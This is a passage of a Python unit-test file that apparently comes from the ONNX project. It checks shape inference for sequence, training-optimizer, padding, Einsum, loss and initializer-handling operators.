'input3'], ['in_sequence']), make_node('SequenceErase', ['in_sequence', 'ind'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 'x')), # type: ignore make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, None, 'x'))]) # type: ignore def test_sequence_length(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('SequenceLength', ['in_sequence'], ['len'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 'x')), make_tensor_value_info('len', TensorProto.INT64, ())]) # type: ignore def test_split_to_sequence(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4)), ('split', TensorProto.INT32, (2,))], [make_node('SplitToSequence', ['input', 'split'], ['output_sequence'])], [], initializer=[make_tensor('split', TensorProto.INT32, (2,), (3, 3))]) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (3, 4))]) # type: ignore def test_split_to_sequence_scalar(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4)), ('split', TensorProto.INT32, ())], [make_node('SplitToSequence', ['input', 'split'], ['output_sequence'])], [], initializer=[make_tensor('split', TensorProto.INT32, (), (2, ))]) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, 4))]) # type: ignore def test_split_to_sequence_keepdims(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4))], [make_node('SplitToSequence', ['input'], ['output_sequence'], keepdims=1)], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (1, 4))]) # type: ignore def test_split_to_sequence_not_keepdims(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4))], [make_node('SplitToSequence', ['input'], ['output_sequence'], keepdims=0)], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (4, ))]) # type: ignore def test_split_to_sequence_ignore_keepdims(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4)), ('split', TensorProto.INT32, (2,))], [make_node('SplitToSequence', ['input', 'split'], ['output_sequence'], keepdims=0)], [], initializer=[make_tensor('split', TensorProto.INT32, (2,), (3, 3))]) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (3, 4))]) # type: ignore def test_split_to_sequence_axis(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4))], [make_node('SplitToSequence', ['input'], ['output_sequence'], axis=1)], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (6, 1))]) # type: ignore def test_split_to_sequence_neg_axis(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4))], [make_node('SplitToSequence', ['input'], ['output_sequence'], axis=-2)], []) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (1, 4))]) # type: ignore def test_split_to_sequence_split_sizes(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4)), ('split', TensorProto.INT32, (3,))], [make_node('SplitToSequence', ['input', 'split'], ['output_sequence'])], [], initializer=[make_tensor('split', TensorProto.INT32, (3,), (2, 1, 3))]) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (None, 4))]) # type: ignore def test_split_to_sequence_non_divisible(self): # type: () -> None graph = self._make_graph( [('input', TensorProto.FLOAT, (6, 4)), ('split', TensorProto.INT32, ())], [make_node('SplitToSequence', ['input', 'split'], ['output_sequence'])], [], initializer=[make_tensor('split', TensorProto.INT32, (), (4, ))]) self._assert_inferred(graph, [make_sequence_value_info('output_sequence', TensorProto.FLOAT, (None, 4))]) # type: ignore def test_concat_from_sequence(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=0)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 'x')), make_tensor_value_info('out', TensorProto.FLOAT, (None, 3, 'x'))]) # type: ignore def test_concat_from_sequence_unknown_shape(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3)), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=0)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, None), make_tensor_value_info('out', TensorProto.FLOAT, None)]) # type: ignore def test_concat_from_sequence_unknown_dim_size(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 4, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=0)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 'x')), # type: ignore make_tensor_value_info('out', TensorProto.FLOAT, (None, None, 'x'))]) # type: ignore def test_concat_from_sequence_axis(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 4, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=2)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 'x')), # type: ignore make_tensor_value_info('out', TensorProto.FLOAT, (2, None, None))]) # type: ignore def test_concat_from_sequence_neg_axis(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 4, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=-3)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 'x')), # type: ignore make_tensor_value_info('out', TensorProto.FLOAT, (None, None, 'x'))]) # type: ignore def test_concat_from_sequence_new_axis(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=2, new_axis=1)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 'x')), make_tensor_value_info('out', TensorProto.FLOAT, (2, 3, None, 'x'))]) # type: ignore def test_concat_from_sequence_neg_new_axis(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 'x')), ('input2', TensorProto.FLOAT, (2, 3, 'x')), ('input3', TensorProto.FLOAT, (2, 3, 'x'))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('ConcatFromSequence', ['in_sequence'], ['out'], axis=-1, new_axis=1)], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, 3, 'x')), make_tensor_value_info('out', TensorProto.FLOAT, (2, 3, 'x', None))]) # type: ignore def test_adagrad(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X', TensorProto.FLOAT, (1, 2)), ('G', TensorProto.FLOAT, (1, 2)), ('H', TensorProto.FLOAT, (1, 2))], [make_node('Adagrad', ['R', 'T', 'X', 'G', 'H'], ['X_new', 'H_new'], domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN)], []) self._assert_inferred( graph, [make_tensor_value_info('X_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('H_new', TensorProto.FLOAT, (1, 2))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 12), helper.make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1)]) def test_adagrad_multiple(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X1', TensorProto.FLOAT, (1, 2)), ('X2', TensorProto.FLOAT, (3, 4)), ('G1', TensorProto.FLOAT, (1, 2)), ('G2', TensorProto.FLOAT, (3, 4)), ('H1', TensorProto.FLOAT, (1, 2)), ('H2', TensorProto.FLOAT, (3, 4))], [make_node('Adagrad', ['R', 'T', 'X1', 'X2', 'G1', 'G2', 'H1', 'H2'], ['X1_new', 'X2_new', 'H1_new', 'H2_new'], domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN)], []) self._assert_inferred(graph, [make_tensor_value_info('X1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('X2_new', TensorProto.FLOAT, (3, 4)), make_tensor_value_info('H1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('H2_new', TensorProto.FLOAT, (3, 4))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 12), helper.make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1)]) def test_momentum(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X', TensorProto.FLOAT, (1, 2)), ('G', TensorProto.FLOAT, (1, 2)), ('V', TensorProto.FLOAT, (1, 2))], [make_node('Momentum', ['R', 'T', 'X', 'G', 'V'], ['X_new', 'V_new'], alpha=0.9, beta=1.0, norm_coefficient=0.02, mode='standard', domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN)], []) self._assert_inferred( graph, [make_tensor_value_info('X_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('V_new', TensorProto.FLOAT, (1, 2))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 12), helper.make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1)]) def test_momentum_multiple(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X1', TensorProto.FLOAT, (1, 2)), ('X2', TensorProto.FLOAT, (3, 4)), ('G1', TensorProto.FLOAT, (1, 2)), ('G2', TensorProto.FLOAT, (3, 4)), ('V1', TensorProto.FLOAT, (1, 2)), ('V2', TensorProto.FLOAT, (3, 4))], [make_node('Momentum', ['R', 'T', 'X1', 'X2', 'G1', 'G2', 'V1', 'V2'], ['X1_new', 'X2_new', 'V1_new', 'V2_new'], alpha=0.9, beta=1.0, norm_coefficient=0.02, mode='nesterov', domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN)], []) self._assert_inferred( graph, [make_tensor_value_info('X1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('X2_new', TensorProto.FLOAT, (3, 4)), make_tensor_value_info('V1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('V2_new', TensorProto.FLOAT, (3, 4))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 12), helper.make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1)]) def test_adam(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X', TensorProto.FLOAT, (1, 2)), ('G', TensorProto.FLOAT, (1, 2)), ('V', TensorProto.FLOAT, (1, 2)), ('H', TensorProto.FLOAT, (1, 2))], [make_node('Adam', ['R', 'T', 'X', 'G', 'V', 'H'], ['X_new', 'V_new', 'H_new'], domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN, alpha=0.9, beta=1.0, norm_coefficient=0.02)], []) infos = [make_tensor_value_info('X_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('V_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('H_new', TensorProto.FLOAT, (1, 2))] self._assert_inferred( graph, infos, opset_imports=[make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1), make_opsetid(ONNX_DOMAIN, 12)]) def test_adam_multiple(self): # type: () -> None graph = self._make_graph( [('R', TensorProto.FLOAT, ()), # scalar's shape is () ('T', TensorProto.INT64, ()), # scalar's shape is () ('X1', TensorProto.FLOAT, (1, 2)), ('X2', TensorProto.FLOAT, (3, 4)), ('G1', TensorProto.FLOAT, (1, 2)), ('G2', TensorProto.FLOAT, (3, 4)), ('V1', TensorProto.FLOAT, (1, 2)), ('V2', TensorProto.FLOAT, (3, 4)), ('H1', TensorProto.FLOAT, (1, 2)), ('H2', TensorProto.FLOAT, (3, 4))], [make_node('Adam', ['R', 'T', 'X1', 'X2', 'G1', 'G2', 'V1', 'V2', 'H1', 'H2'], ['X1_new', 'X2_new', 'V1_new', 'V2_new', 'H1_new', 'H2_new'], domain=AI_ONNX_PREVIEW_TRAINING_DOMAIN, alpha=0.9, beta=1.0, norm_coefficient=0.02)], []) infos = [make_tensor_value_info('X1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('X2_new', TensorProto.FLOAT, (3, 4)), make_tensor_value_info('V1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('V2_new', TensorProto.FLOAT, (3, 4)), make_tensor_value_info('H1_new', TensorProto.FLOAT, (1, 2)), make_tensor_value_info('H2_new', TensorProto.FLOAT, (3, 4))] self._assert_inferred( graph, infos, opset_imports=[make_opsetid(AI_ONNX_PREVIEW_TRAINING_DOMAIN, 1), make_opsetid(ONNX_DOMAIN, 12)]) def test_pad_opset10(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, None, 2))], [make_node('Pad', 'x', 'y', pads=[1, 3, 1, 1, 0, 1])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, None, 4))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 10)]) # type: ignore def test_constant_pad_2d_opset10(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3, 4, 4))], [make_node('Pad', 'x', 'y', pads=[0, 0, 3, 1, 0, 0, 4, 2], mode="constant", value=2.0)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 3, 11, 7))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 10)]) def test_pad(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, None, 2)), ('pads', TensorProto.INT64, (6,))], [make_node('Pad', ['x', 'pads'], 'y')], [], initializer=[make_tensor('pads', TensorProto.INT64, (6,), (1, 3, 1, 1, 0, 1,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, None, 4))]) # type: ignore def test_gatherelements_basic(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (6,)), ('indices', TensorProto.INT64, (2,))], [make_node('GatherElements', ['x', 'indices'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2,))]) def test_gatherelements_indices_missing_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (6,)), ('indices', TensorProto.INT64, None)], # type: ignore [make_node('GatherElements', ['x', 'indices'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, None)]) # type: ignore def test_einsum_transpose(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4))], [make_node('Einsum', ['x'], ['y'], equation='ij->ji')], [],) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (None, None))]) # type: ignore def test_einsum_dot(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1,)), ('y', TensorProto.FLOAT, (1,))], [make_node('Einsum', ['x', 'y'], ['z'], equation='i,i->')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ())]) # type: ignore def test_einsum_scalar(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ()), ('y', TensorProto.FLOAT, ())], [make_node('Einsum', ['x', 'y'], ['z'], equation=',->')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ())]) # type: ignore def test_einsum_outer_prod(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 5)), ('y', TensorProto.FLOAT, (7, 9))], [make_node('Einsum', ['x', 'y'], ['z'], equation='ij,ab->ijab')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None, None))]) # type: ignore def test_einsum_sum_along_dim(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4))], [make_node('Einsum', ['x'], ['y'], equation='i j->i ')], [],) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (None, ))]) # type: ignore def test_einsum_ellipsis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 4))], [make_node('Einsum', ['x'], ['y'], equation='... ii ->... i')], [],) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (None, None))]) # type: ignore def test_einsum_ellipsis_2(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 2, 2)), ('y', TensorProto.FLOAT, (2, 2, 2))], [make_node('Einsum', ['x', 'y'], ['z'], equation='...ij,...jk->...ik')], [], ) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None))]) # type: ignore def test_einsum_ellipsis_3(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 2, 2)), ('y', TensorProto.FLOAT, (2, 2, 2))], [make_node('Einsum', ['x', 'y'], ['z'], equation='...ij,...jk')], [], ) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None))]) # type: ignore def test_einsum_contraction(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 6, 7, 8)), ('y', TensorProto.FLOAT, (8, 9, 10))], [make_node('Einsum', ['x', 'y'], ['z'], equation='abcd,dfg->abcfg')], [], ) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None, None, None))]) # type: ignore def test_einsum_contraction_2(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5)), ('y', TensorProto.FLOAT, (3, 5))], [make_node('Einsum', ['x', 'y'], ['z'], equation='ijk,ik->jk')], [], ) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None))]) # type: ignore def test_einsum_batch_matmul(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 2, 3)), ('y', TensorProto.FLOAT, (5, 3, 4))], [make_node('Einsum', ['x', 'y'], ['z'], equation='bij , b jk-> bik')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None))]) # type: ignore def test_einsum_left_hand_eqn(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3)), ('y', TensorProto.FLOAT, (3, 4))], [make_node('Einsum', ['x', 'y'], ['z'], equation='ij,kl')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, None, None, None))]) # type: ignore def test_einsum_incorrect_num_inputs(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 3)), ("y", TensorProto.FLOAT, (2, 3)), ("z", TensorProto.FLOAT, (2, 3))], [make_node('Einsum', ['x', 'y'], ['z'], equation='i,...j, k, l-> i')], []) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def test_negative_log_likehood_shape_is_NCdd(self): # type: () -> None N, C = 3, 4 graph = self._make_graph( [('input', TensorProto.FLOAT, (N, C)), ('target', TensorProto.INT64, (N,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target'], ['loss'], reduction='none')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, (N, ))]) # type: ignore def test_negative_log_likehood_shape_is_NC_with_weight(self): # type: () -> None N, C = 3, 4 graph = self._make_graph( [('input', TensorProto.FLOAT, (N, C)), ('target', TensorProto.INT64, (N,)), ('weight', TensorProto.FLOAT, (C,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='none')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, (N, ))]) # type: ignore def test_negative_log_likehood_shape_is_NC_reduction_mean(self): # type: () -> None N, C = 3, 4 graph = self._make_graph( [('input', TensorProto.FLOAT, (N, C)), ('target', TensorProto.INT64, (N,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target'], ['loss'], reduction='mean')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, ())]) # type: ignore def test_negative_log_likehood_shape_is_NC_with_weight_reduction_mean(self): # type: () -> None N, C = 3, 4 graph = self._make_graph( [('input', TensorProto.FLOAT, (N, C)), ('target', TensorProto.INT64, (N,)), ('weight', TensorProto.FLOAT, (C,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='mean')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, ())]) # type: ignore def test_negative_log_likehood_shape_is_NCd1d2(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, C, d1, d2)), ("target", TensorProto.INT64, (N, d1, d2))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target'], ['loss'], reduction='none')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, (N, d1, d2))]) # type: ignore def test_negative_log_likehood_shape_is_NCd1d2_with_weight(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, C, d1, d2)), ("target", TensorProto.INT64, (N, d1, d2)), ("weight", TensorProto.FLOAT, (C,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='none')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, (N, d1, d2))]) # type: ignore def test_negative_log_likehood_shape_is_NCd1d2_reduction_sum(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, C, d1, d2)), ("target", TensorProto.INT64, (N, d1, d2))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target'], ['loss'], reduction='sum')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, ())]) # type: ignore def test_negative_log_likehood_shape_is_NCd1d2_with_weight_reduction_mean(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, C, d1, d2)), ("target", TensorProto.INT64, (N, d1, d2)), ("weight", TensorProto.FLOAT, (C,))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='mean')], []) self._assert_inferred(graph, [make_tensor_value_info('loss', TensorProto.FLOAT, ())]) # type: ignore def test_negative_log_likehood_input_target_shape_mismatch(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, d1, d2)), ("target", TensorProto.INT64, (N, d1 + 1, d2)), ("weight", TensorProto.FLOAT, (C,)), ("loss", TensorProto.FLOAT, ())], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='mean')], []) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def test_negative_log_likehood_input_weight_shape_mismatch(self): # type: () -> None N, C, d1, d2 = 3, 4, 5, 6 graph = self._make_graph( [("input", TensorProto.FLOAT, (N, C, d1, d2)), ("target", TensorProto.INT64, (N, d1, d2)), ("weight", TensorProto.FLOAT, (C + 1,)), ("loss", TensorProto.FLOAT, (N, d1, d2))], [make_node('NegativeLogLikelihoodLoss', ['input', 'target', 'weight'], ['loss'], reduction='none')], []) self.assertRaises(checker.ValidationError, self._inferred, graph) def test_softmax_cross_entropy_none(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 3)), ("y", TensorProto.FLOAT, (2,))], [make_node('SoftmaxCrossEntropyLoss', ['x', 'y'], ['z'], reduction='none')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2,))]) # type: ignore def test_softmax_cross_entropy_mean(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 3)), ("y", TensorProto.FLOAT, (2,))], [make_node('SoftmaxCrossEntropyLoss', ['x', 'y'], ['z'], reduction='mean')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ())]) # type: ignore def test_softmax_cross_entropy_none_NCD1D2(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 3, 5, 8)), ("y", TensorProto.FLOAT, (2, 5, 8))], [make_node('SoftmaxCrossEntropyLoss', ['x', 'y'], ['z'], reduction='none')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 5, 8))]) # type: ignore def test_softmax_cross_entropy_mean_NCD1D2(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 3, 4, 5)), ("y", TensorProto.FLOAT, (2, 4, 5))], [make_node('SoftmaxCrossEntropyLoss', ['x', 'y'], ['z'], reduction='mean')], [],) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ())]) # type: ignore def test_celu_function_output_shape(self): # type: () -> None graph = self._make_graph( [('X', TensorProto.FLOAT, (25, 48, 16, 16))], [make_node('Celu', ['X'], ['Y'], alpha=2.0)], [] ) self._assert_inferred(graph, [make_tensor_value_info('Y', TensorProto.FLOAT, (25, 48, 16, 16))]) def prepare_input_initializer_tensors(self, initializer_shape, input_shape): # type: ignore nodes = [make_node('Add', ['x', 'y'], 'z')] if initializer_shape is None: initializer = [] # type: ignore else: size = 1 for d in initializer_shape: size = size * d vals = [0.0 for i in range(size)] initializer = [make_tensor("x", TensorProto.FLOAT, initializer_shape, vals), # type: ignore make_tensor("y", TensorProto.FLOAT, initializer_shape, vals)] if input_shape is None: inputs = [] # type: ignore else: inputs = [helper.make_tensor_value_info('x', TensorProto.FLOAT, input_shape), # type: ignore helper.make_tensor_value_info('y', TensorProto.FLOAT, input_shape)] graph = helper.make_graph(nodes, "test", inputs=inputs, outputs=[], initializer=initializer, value_info=[]) return helper.make_model(graph) def test_infer_with_initializer_without_input_above_ir4(self): # type: () -> None # This is for testing IR>=4: some tensors can only exist in initializer and not in input # So shape_inference should make use of initializer shapes initializer_shape = (8, 7) original_model = self.prepare_input_initializer_tensors(initializer_shape, None) inferred_model = onnx.shape_inference.infer_shapes(original_model, strict_mode=True) # If shape inference fails, it will throw IndexError z_tenor = inferred_model.graph.value_info.pop() z_shape = (z_tenor.type.tensor_type.shape.dim[0].dim_value, z_tenor.type.tensor_type.shape.dim[1].dim_value) assert z_shape == initializer_shape def test_infer_with_initializer_without_input_below_ir4(self): # type: () -> None # This is for testing IR<4: tensors must exist both in initializer and input # So shape_inference should not make use of initializer shapes # Use (None, None) as empty input initializer_shape = (8, 7) input_shape = (None, None) original_model = self.prepare_input_initializer_tensors(initializer_shape, input_shape) original_model.ir_version = 3 # test ir_version < 4 inferred_model = onnx.shape_inference.infer_shapes(original_model, strict_mode=True) z_tenor = inferred_model.graph.value_info.pop() z_shape = (z_tenor.type.tensor_type.shape.dim[0].dim_value, z_tenor.type.tensor_type.shape.dim[1].dim_value) # If the input is not updated by the initializer, the output shape will keep empty (0, 0) assert z_shape == (0, 0) def test_infer_initializer_input_mismatch(self): # type: () -> None # Catch error if initializer and input mismatch initializer_shape = (8, 7) input_shape = (4, 3) original_model = self.prepare_input_initializer_tensors(initializer_shape, input_shape) # Inferred shape and existing shape differ in dimension 0 self.assertRaises(onnx.shape_inference.InferenceError, onnx.shape_inference.infer_shapes, original_model, strict_mode=True) def test_infer_initializer_input_consistency_all_none(self): # type: () -> None initializer_shape = (8, 7) input_shape = (None, None) # accepatble original_model = self.prepare_input_initializer_tensors(initializer_shape, input_shape) onnx.shape_inference.infer_shapes(original_model, strict_mode=True) def test_infer_initializer_input_consistency_single_none(self): # type: () -> None initializer_shape = (8, 7) input_shape = (None, 7) # accepatble original_model = self.prepare_input_initializer_tensors(initializer_shape, input_shape) onnx.shape_inference.infer_shapes(original_model, strict_mode=True) def test_infer_initializer_input_consistency_differnt_rank(self): # type: () -> None initializer_shape = (8, 7, 9) input_shape = (None, 7) # accepatble original_model = self.prepare_input_initializer_tensors(initializer_shape, input_shape) # Inferred shape and existing shape differ in rank: (3) vs (2) self.assertRaises(onnx.shape_inference.InferenceError, onnx.shape_inference.infer_shapes, original_model, strict_mode=True) def test_trilu_upper(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5)), ('k', TensorProto.INT64, ())], [make_node('Trilu', 